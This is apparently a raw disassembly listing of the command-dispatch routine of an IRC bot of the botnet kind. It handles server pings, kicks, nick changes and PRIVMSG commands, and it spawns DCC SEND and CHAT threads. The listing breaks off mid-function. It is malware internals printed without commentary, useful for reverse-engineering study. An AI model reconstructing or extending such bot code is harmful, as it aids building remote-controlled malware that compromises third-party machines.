var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 27D4h
		call	sub_415B90
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		mov	[ebp+var_A8], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_D8], ebx
		call	sub_415390
		push	1Bh
		lea	eax, [ebp+var_43C]
		push	[ebp+arg_10]
		push	eax
		call	sub_416BE0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40D18F
		push	esi
		lea	eax, [ebp+var_21D4]
		push	ebx
		push	eax
		call	sub_415390
		dec	esi
		lea	eax, [ebp+var_21D4]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_21D4]
		push	offset asc_43670C ; " :"
		push	eax
		call	sub_4158E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_21D4]
		push	esi
		push	eax
		lea	eax, [ebp+var_23D4]
		push	eax
		call	sub_416BE0
		mov	esi, offset asc_426A34 ; " "
		lea	eax, [ebp+var_23D4]
		push	esi
		push	eax
		call	sub_416B3F
		xor	edi, edi
		add	esp, 34h
		mov	[ebp+var_94], eax
		inc	edi


loc_40CE00:				; CODE XREF: sub_40CD3A+DAj
		push	esi
		push	ebx
		call	sub_416B3F
		mov	[ebp+edi*4+var_94], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_40CE00
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40D18F
		cmp	[ebp+var_90], ebx
		jz	loc_40D18F
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_40CE48:				; CODE XREF: sub_40CD3A+142j
		lea	ecx, [ebp+edx*4+var_94]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CE7B
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CE7E
		cmp	[eax+2], bl
		jnz	short loc_40CE7E
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40CE7B:				; CODE XREF: sub_40CD3A+119j
		dec	edx
		jns	short loc_40CE48


loc_40CE7E:				; CODE XREF: sub_40CD3A+11Ej
					; sub_40CD3A+123j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_8ED], bl
		jz	short loc_40CE8C
		mov	[ebp+var_8], edi


loc_40CE8C:				; CODE XREF: sub_40CD3A+14Dj
		cmp	[ebp+var_8F2], bl
		jz	short loc_40CE9A
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40CE9A:				; CODE XREF: sub_40CD3A+158j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CED4
		push	7Fh
		lea	eax, [ebp+var_B10]
		push	esi
		push	eax
		call	sub_416BE0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_C0]
		push	offset dword_42F4B0
		push	eax
		call	sub_416B3F
		add	esp, 20h


loc_40CED4:				; CODE XREF: sub_40CD3A+163j
		push	esi
		push	offset aPing	; "PING"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CF25
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40CFC9
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		add	esp, 10h
		jmp	loc_40CFC9
; ---------------------------------------------------------------------------


loc_40CF25:				; CODE XREF: sub_40CD3A+1A9j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41299F
		push	esi
		push	offset a005	; "005"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41299F
		push	esi
		push	offset a302	; "302"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CF90
		push	offset a@_6	; "@"
		push	[ebp+var_88]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40CFC9
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_416BE0
		add	esp, 0Ch
		jmp	short loc_40CFC9
; ---------------------------------------------------------------------------


loc_40CF90:				; CODE XREF: sub_40CD3A+22Aj
		push	esi
		push	offset a433	; "433"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CFD0
		push	ebx
		push	dword_46AB28
		push	dword_42C268
		push	[ebp+arg_10]
		call	sub_414278
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		add	esp, 1Ch


loc_40CFC9:				; CODE XREF: sub_40CD3A+1CAj
					; sub_40CD3A+1E6j ...
		mov	eax, edi
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_40CFD0:				; CODE XREF: sub_40CD3A+265j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_D4], 2
		mov	edi, 80h


loc_40CFE2:				; CODE XREF: sub_40CD3A+2CDj
		lea	eax, [ebp+var_B10]
		push	eax
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CFFF
		mov	[ebp+var_A4], 1


loc_40CFFF:				; CODE XREF: sub_40CD3A+2B9j
		add	esi, edi
		dec	[ebp+var_D4]
		jnz	short loc_40CFE2
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D0E8
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40D02E:				; CODE XREF: sub_40CD3A+373j
		cmp	[esi], bl
		jz	short loc_40D0A8
		push	7Fh
		lea	eax, [ebp+var_B10]
		push	esi
		push	eax
		call	sub_416BE0
		add	esp, 0Ch
		cmp	[ebp+var_88], ebx
		jz	short loc_40D0A8
		push	[ebp+var_88]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0A8
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_436698
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		add	esp, 20h


loc_40D0A8:				; CODE XREF: sub_40CD3A+2F6j
					; sub_40CD3A+310j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40D02E
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D18F
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40D0DB:				; CODE XREF: sub_40CD3A+5D6j
					; sub_40CD3A+918j
		push	[ebp+arg_4]
		call	sub_412B8B
		jmp	loc_412188
; ---------------------------------------------------------------------------


loc_40D0E8:				; CODE XREF: sub_40CD3A+2E4j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D224
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40D111:				; CODE XREF: sub_40CD3A+429j
		lea	eax, [ebp+var_B10]
		push	eax
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D15E
		lea	eax, [ebp+var_B10]
		push	21h
		push	eax
		call	sub_416F20
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40D15E
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415A20
		push	[ebp+arg_1C]
		push	edi
		call	sub_415A30
		add	esp, 10h
		mov	edi, 80h


loc_40D15E:				; CODE XREF: sub_40CD3A+3E8j
					; sub_40CD3A+3FFj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40D111
		cmp	[ebp+arg_24], ebx
		jz	short loc_40D18F
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D197
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_416BE0
		add	esp, 0Ch


loc_40D18F:				; CODE XREF: sub_40CD3A+5Bj
					; sub_40CD3A+E4j ...
		xor	eax, eax
		inc	eax


loc_40D192:				; CODE XREF: sub_40CD3A+291j
					; sub_40CD3A+281Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D197:				; CODE XREF: sub_40CD3A+443j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D19C:				; CODE XREF: sub_40CD3A+483j
		cmp	[edi], bl
		jz	short loc_40D1B3
		lea	eax, [ebp+var_B10]
		push	eax
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D1C1


loc_40D1B3:				; CODE XREF: sub_40CD3A+464j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D19C
		jmp	short loc_40D18F
; ---------------------------------------------------------------------------


loc_40D1C1:				; CODE XREF: sub_40CD3A+477j
		lea	eax, [ebp+var_B10]
		push	21h
		push	eax
		call	sub_416F20
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_40D18F
		push	eax
		call	sub_415B10
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_415B10
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_40D18F
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_33C]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 24h
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_40D224:				; CODE XREF: sub_40CD3A+3BDj
		push	esi
		push	offset aPart	; "PART"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D246
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D26D


loc_40D246:				; CODE XREF: sub_40CD3A+4F9j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D24B:				; CODE XREF: sub_40CD3A+531j
		cmp	[edi], bl
		jz	short loc_40D261
		push	[ebp+var_94]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D2B4


loc_40D261:				; CODE XREF: sub_40CD3A+513j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D24B


loc_40D26D:				; CODE XREF: sub_40CD3A+50Aj
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D315
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2A4
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40D2A4:				; CODE XREF: sub_40CD3A+55Fj
		push	[ebp+var_84]
		push	offset dword_436638
		jmp	loc_412993
; ---------------------------------------------------------------------------


loc_40D2B4:				; CODE XREF: sub_40CD3A+525j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_436604
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_415730
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D18F
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D0DB
; ---------------------------------------------------------------------------


loc_40D315:				; CODE XREF: sub_40CD3A+547j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_415730
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D369
		push	[ebp+var_90]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D369
		push	[ebp+var_90]
		push	offset dword_4365F0
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412818
		cmp	dword_42C258, ebx
		jz	loc_412818


loc_40D369:				; CODE XREF: sub_40CD3A+5F5j
					; sub_40CD3A+607j
		push	[ebp+var_90]
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4E2
		push	[ebp+var_90]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4E2
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		mov	[ebp+var_A8], 4
		mov	[ebp+var_8C], eax


loc_40D3B1:				; CODE XREF: sub_40CD3A+867j
					; sub_40CD3A+8EDj ...
		mov	eax, [ebp+var_A8]
		mov	esi, eax
		shl	esi, 2
		lea	edi, [ebp+esi+var_94]
		mov	eax, [edi]
		push	eax
		push	offset dword_4365E8
		mov	[ebp+arg_8], eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D7CB
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D693
		cmp	[ebp+var_A4], ebx
		jz	loc_40D669
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_844]
		push	edi
		push	eax
		call	sub_415316
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		call	sub_415316
		push	[ebp+esi+var_84]
		call	sub_41587F
		mov	[ebp+var_6C0], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_860], eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6B4], eax
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_844]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_4365A0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	12h
		push	eax
		call	sub_414DDA
		add	esp, 44h
		mov	[ebp+var_6BC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B9BC
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_6BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jz	loc_411406
		jmp	loc_40D65F
; ---------------------------------------------------------------------------


loc_40D4E2:				; CODE XREF: sub_40CD3A+63Fj
					; sub_40CD3A+655j
		push	[ebp+var_90]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D4FB
		mov	[ebp+var_4], 1


loc_40D4FB:				; CODE XREF: sub_40CD3A+7B8j
		cmp	[ebp+var_8C], ebx
		jz	loc_40D18F
		push	(offset	loc_426447+1)
		push	[ebp+var_8C]
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D522
		cmp	[ebp+var_4], ebx
		jz	short loc_40D52E


loc_40D522:				; CODE XREF: sub_40CD3A+7E1j
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_8C], eax


loc_40D52E:				; CODE XREF: sub_40CD3A+7E6j
		cmp	[ebp+var_88], ebx
		jz	loc_40D18F
		inc	[ebp+var_88]
		jz	short loc_40D578
		cmp	[ebp+arg_10], ebx
		jz	short loc_40D578
		lea	eax, [ebp+var_43C]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_43C]
		push	[ebp+var_88]
		push	eax
		call	sub_416D70
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A8], eax
		jmp	short loc_40D57E
; ---------------------------------------------------------------------------


loc_40D578:				; CODE XREF: sub_40CD3A+806j
					; sub_40CD3A+80Bj
		mov	eax, [ebp+var_A8]


loc_40D57E:				; CODE XREF: sub_40CD3A+83Cj
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_94]
		cmp	edi, ebx
		jz	loc_40D18F
		push	edi
		push	offset dword_436594
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D3B1
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D618
		mov	eax, dword_46AB34
		mov	eax, off_42C330[eax*4]
		cmp	[eax], bl
		jz	short loc_40D618
		push	eax
		push	ecx
		push	offset dword_436578
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		add	esp, 20h
		cmp	[ebp+var_A4], ebx
		jnz	loc_40D18F
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1
		push	eax
		push	offset dword_46AA44
		jmp	loc_411FD7
; ---------------------------------------------------------------------------


loc_40D618:				; CODE XREF: sub_40CD3A+876j
					; sub_40CD3A+886j
		push	edi
		push	offset dword_436554
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D3B1
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	loc_40D3B1
		mov	eax, [ebp+var_8C]
		cmp	byte ptr [eax],	23h
		jz	loc_40D3B1
		push	esi
		push	eax
		push	offset dword_43653C
		jmp	loc_40D0DB
; ---------------------------------------------------------------------------


loc_40D657:				; CODE XREF: sub_40CD3A+92Bj
		push	32h
		call	dword_421060	; Sleep


loc_40D65F:				; CODE XREF: sub_40CD3A+7A3j
		cmp	[ebp+var_6B0], ebx
		jz	short loc_40D657
		jmp	short loc_40D68B
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40CD3A+6C4j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+esi+var_8C]
		push	offset dword_4364E8
		push	eax
		call	sub_415316
		add	esp, 10h


loc_40D68B:				; CODE XREF: sub_40CD3A+92Dj
					; sub_40CD3A+A6Aj ...
		xor	esi, esi
		inc	esi
		jmp	loc_40F54A
; ---------------------------------------------------------------------------


loc_40D693:				; CODE XREF: sub_40CD3A+6B8j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D7E1
		cmp	[ebp+var_A4], ebx
		jz	loc_40D7BA
		push	13h
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jnz	loc_40D7A9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_858]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		push	[ebp+esi+var_84]
		call	sub_41587F
		mov	[ebp+var_6C0], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_860], eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6B4], eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_4364A8
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	13h
		push	eax
		call	sub_414DDA
		add	esp, 34h
		mov	[ebp+var_6BC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B459
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_6BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_40D79C
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436460
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_40D794:				; CODE XREF: sub_40CD3A+A68j
		push	32h
		call	dword_421060	; Sleep


loc_40D79C:				; CODE XREF: sub_40CD3A+A47j
		cmp	[ebp+var_6B0], ebx
		jz	short loc_40D794
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_40D7A9:				; CODE XREF: sub_40CD3A+98Aj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_436418
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_40D7BA:				; CODE XREF: sub_40CD3A+97Aj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_4363D0
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_40D7CB:				; CODE XREF: sub_40CD3A+69Dj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42C260
		mov	[edi], ecx
		jnz	loc_40D18F


loc_40D7E1:				; CODE XREF: sub_40CD3A+96Ej
		mov	edi, [edi]
		push	edi
		push	offset aNewshit	; "newshit"
		mov	[ebp+arg_8], edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412820
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412820
		cmp	[ebp+var_A4], ebx
		jnz	short loc_40D832
		push	[ebp+var_90]
		push	offset dword_4365F0
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412818


loc_40D832:				; CODE XREF: sub_40CD3A+ADCj
		cmp	[ebp+arg_28], ebx
		jnz	loc_412818
		xor	edi, edi
		cmp	dword_42E870, ebx
		jle	loc_40D9D6
		mov	[ebp+arg_20], offset dword_440948


loc_40D850:				; CODE XREF: sub_40CD3A+B35j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D876
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42E870
		jl	short loc_40D850
		jmp	loc_40D9D6
; ---------------------------------------------------------------------------


loc_40D876:				; CODE XREF: sub_40CD3A+B25j
		push	offset asc_43670C ; " :"
		push	[ebp+arg_0]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D18F
		mov	cl, byte_42C260
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42C260
		mov	[eax+3], cl
		lea	ecx, dword_440960[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416BE0
		lea	eax, dword_440948[edi]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax
		lea	edi, [ebp+esi+var_54]


loc_40D8D1:				; CODE XREF: sub_40CD3A+C31j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4158E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D933
		cmp	[edi], ebx
		jz	short loc_40D937
		push	[ebp+arg_20]
		call	sub_415B10
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40D962
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D962
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4098D4
		add	esp, 0Ch
		jmp	short loc_40D962
; ---------------------------------------------------------------------------


loc_40D933:				; CODE XREF: sub_40CD3A+BBFj
		cmp	[edi], ebx
		jnz	short loc_40D962


loc_40D937:				; CODE XREF: sub_40CD3A+BC3j
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4098D4
		add	esp, 18h


loc_40D962:				; CODE XREF: sub_40CD3A+BD1j
					; sub_40CD3A+BE2j ...
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	loc_40D8D1
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_40D97E:				; CODE XREF: sub_40CD3A+C90j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4158E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D9C1
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40D9C1
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4098D4
		add	esp, 0Ch


loc_40D9C1:				; CODE XREF: sub_40CD3A+C6Cj
					; sub_40CD3A+C72j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_40D97E
		mov	[ebp+var_D8], 1


loc_40D9D6:				; CODE XREF: sub_40CD3A+B09j
					; sub_40CD3A+B37j
		lea	eax, [ebp+esi+var_94]
		mov	edi, [eax]
		mov	cl, [edi]
		cmp	cl, byte_42C260
		jz	short loc_40D9F5
		cmp	[ebp+var_D8], ebx
		jz	loc_40DBD5


loc_40D9F5:				; CODE XREF: sub_40CD3A+CADj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_4098D4
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_4098D4
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4098D4
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_414278
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_4098D4
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_4098D4
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_4158E0
		add	esp, 14h
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_40DA6C:				; CODE XREF: sub_40CD3A+E18j
		push	edi
		push	[ebp+arg_0]
		call	sub_4158E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_A0]
		push	offset asc_436384 ; ")"
		push	eax
		call	sub_416B3F
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40DAB0
		cmp	[ebp+var_A0], 39h
		jle	short loc_40DAC6


loc_40DAB0:				; CODE XREF: sub_40CD3A+D6Bj
		push	3
		lea	eax, [ebp+var_A0]
